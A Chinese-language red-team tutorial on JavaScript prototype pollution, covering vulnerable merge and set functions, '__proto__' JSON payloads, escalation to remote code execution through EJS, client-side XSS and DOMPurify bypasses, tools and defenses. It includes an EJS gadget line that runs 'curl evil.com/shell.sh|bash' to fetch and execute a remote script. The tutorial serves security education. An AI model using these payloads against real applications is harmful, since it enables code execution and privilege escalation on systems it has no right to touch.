目录
一、JavaScript原型链基础
原型链机制
obj → obj.__proto__ (Object.prototype) → null
arr → arr.__proto__ (Array.prototype) → Object.prototype → null
fn → fn.__proto__ (Function.prototype) → Object.prototype → null
// 每个对象都有 __proto__
const obj = { a: 1 };
console.log(obj.__proto__ === Object.prototype); // true
// 构造函数有 prototype
function Person(name) { this.name = name; }
Person.prototype.sayHi = function() { return 'Hi'; };
const p = new Person('Alice');
p.sayHi(); // 从 Person.prototype 继承关键原型关系
// 万物的根源
Object.prototype // 所有对象的最终原型
// 通过构造函数获取原型
({}).constructor.prototype // Object.prototype
[].constructor.prototype // Array.prototype
"".constructor.prototype // String.prototype
// Function.prototype 本身也是对象
(function(){}).constructor // Function
Function.prototype.__proto__ // Object.prototype二、原型链污染原理
核心概念
原型链污染(Prototype Pollution)是指攻击者能够修改 Object.prototype 或其他原型上的属性,从而影响所有继承自该原型的对象。
// 攻击:污染 Object.prototype
Object.prototype.isAdmin = true;
// 影响:所有对象现在都"继承"了 isAdmin = true
const user = {};
if (user.isAdmin) { // true!权限检查被绕过
grantAdminAccess();
}污染条件
- 对象合并操作(merge/clone)中存在递归属性设置
- 属性路径可控(如
obj[a][b] = value中 a 或 b 可控) - 能够设置
__proto__或constructor.prototype
最简PoC
// 危险的对象merge函数
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key]; // ← 直接赋值,不管key是什么!
}
}
}
// 攻击payload
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, malicious);
// 效果
const obj = {};
console.log(obj.isAdmin); // true —— 污染成功!三、常见污染入口
1. 对象的深层属性设置
// lodash.set-like函数
function set(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
current = current[keys[i]] || (current[keys[i]] = {});
}
current[keys[keys.length - 1]] = value;
}
// payload
set(target, '__proto__.polluted', true);
// 或
set(target, 'constructor.prototype.polluted', true);2. JSON.parse + merge
// 最常见的污染入口:用户JSON配置合并
const userConfig = JSON.parse(req.body.config);
Object.assign(defaultConfig, userConfig); // 浅合并不安全
deepMerge(defaultConfig, userConfig); // 深合并可能污染3. URL解析
// URL query参数合并到对象
// heroku?__proto__[isAdmin]=true
const url = new URL(request.url);
const params = {};
url.searchParams.forEach((value, key) => {
params[key] = value;
});
// params.__proto__ → 可能是污染入口4. 模板引擎
// Handlebars, EJS等模板引擎在渲染时操作对象
// 如果数据包含 __proto__,可能污染
res.render('template', {
user: req.body // req.body 可能含 __proto__
});四、污染 → RCE 升级链
升级链1:child_process RCE
// Node.js 中:污染后可能触发命令执行
Object.prototype.shell = '/bin/sh';
Object.prototype.env = {}; // 清空环境变量
// 如果代码中有:
// const { exec } = require('child_process');
// exec('ls', options); // options继承被污染的shell/env升级链2:ejs模板引擎 RCE
// EJS < 3.1.7 有已知的污染到RCE升级链
Object.prototype.client = true;
Object.prototype.escapeFunction = 'function() { return process.mainModule.require("child_process").execSync("id"); }';
// EJS渲染模板时读取这些属性 → RCE升级链3:动态require
// 通过污染 process.mainModule 或 require 的路径
Object.prototype.main = '/tmp/evil.js';
// 如果代码做:
// require(process.mainModule) → 可能加载恶意模块通用污染检测方法
// 在JS Console中检测
({}).__proto__.pollutedTest = 'YES_IT_WORKS';
// 任何地方 console.log({}.pollutedTest)
// 如果输出 YES_IT_WORKS → 污染生效五、客户端原型链污染
浏览器中的影响
// 污染后影响所有页面JS逻辑
Object.prototype.allowAccess = true;
// 污染fetch
Object.prototype.method = 'GET'; // 所有fetch对象的默认method被改
// 污染数组
Array.prototype[0] = 'INJECTED';
const arr = [];
console.log(arr[0]); // 'INJECTED' !DOMPurify绕过案例
历史上,DOMPurify被原型链污染绕过多次:
// 污染DOMPurify使用的内部常量
Object.prototype.ALLOWED_TAGS = ['script']; // 如果DOMPurify读取这个
Object.prototype.ALLOWED_ATTR = ['onerror'];
// DOMPurify现在"允许"script标签和onerror属性利用客户端污染实现XSS
// 场景:页面有原型污染漏洞 + jQuery
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// jQuery的 .html() 或 .append() 可能继承被污染的innerHTML
// → DOM XSS六、Node.js服务端污染
常见Node.js污染目标
// 1. 环境变量
Object.prototype.NODE_ENV = 'development'; // 可能开启调试模式
// 2. 中间件配置
Object.prototype.ignore = true; // 绕过认证中间件
// 3. 数据库查询
Object.prototype.$where = '1==1'; // MongoDB注入
Object.prototype.isAdmin = true; // 权限检查绕过
// 4. 文件操作
Object.prototype.path = '/etc/passwd'; // 任意文件读取Node.js完整攻击链示例
// 1. 发现merge污染
// POST /api/user/profile
// {"settings": {"__proto__": {"isAdmin": true}}}
// 2. 确认污染
// GET /api/user/permissions
// 返回:{"role": "admin"} ← 因为 isAdmin:true 被继承
// 3. 寻找升级路径
// 如果应用使用了EJS渲染
Object.prototype.outputFunctionName =
"_tmp1;global.process.mainModule.require('child_process').exec('curl evil.com/shell.sh|bash');_tmp2";
// 4. EJS渲染任意页面 → RCE七、检测与利用工具
手动检测
// 方法1:在Console注入测试payload
const testPayload = JSON.parse('{"__proto__":{"pptest":"VULN"}}');
// 等待一段逻辑处理用户输入...
console.log({}.pptest); // 如果输出 VULN → 存在污染
// 方法2:监控Object.prototype的变更
const originalProto = Object.getOwnPropertyNames(Object.prototype);
// ... 操作后再次对比
const newProto = Object.getOwnPropertyNames(Object.prototype);
console.log(newProto.filter(p => !originalProto.includes(p)));自动化工具
| 工具 | 说明 |
|---|---|
| pp-finder | 自动检测原型链污染的Burp插件 |
| ppmap | Node.js原型污染扫描器 |
| BlackFan’s Prototype Pollution | POC集合 + 检测脚本 |
| Burp Collaborator | 检测污染导致的服务端外连 |
BlackFan的污染POC汇总
https://github.com/BlackFan/client-side-prototype-pollution
覆盖了 jQuery, lodash, handlebars 等常见库的污染利用链
八、红队视角总结
攻击面速查
| 目标库/框架 | 污染入口 | 影响 |
|---|---|---|
| lodash.merge < 4.6.2 | __proto__ 在merge | 任意属性污染 |
| jQuery < 3.5.0 | $.extend(true) | DOM XSS |
| Handlebars | 模板数据 | AST注入 |
| EJS | 渲染选项 | RCE |
| Express.js | req.body合并 | 中间件绕过 |
| Mongoose/MongoDB | 查询对象污染 | 权限绕过 |
| DOMPurify | 配置污染 | XSS绕过 |
防御
// 1. 使用Object.create(null)避免原型污染
const safe = Object.create(null);
// 2. 使用Map代替普通对象
const safe = new Map();
// 3. 冻结Object.prototype
Object.freeze(Object.prototype);
// 4. 过滤__proto__
function sanitize(obj) {
if (obj.__proto__) delete obj.__proto__;
return obj;
}
// 5. 使用安全的深拷贝(lodash.cloneDeep做了处理)
const _ = require('lodash');
const safe = _.cloneDeep(userInput); // 不触发污染返回 JavaScript 总目录 | 前端基础总目录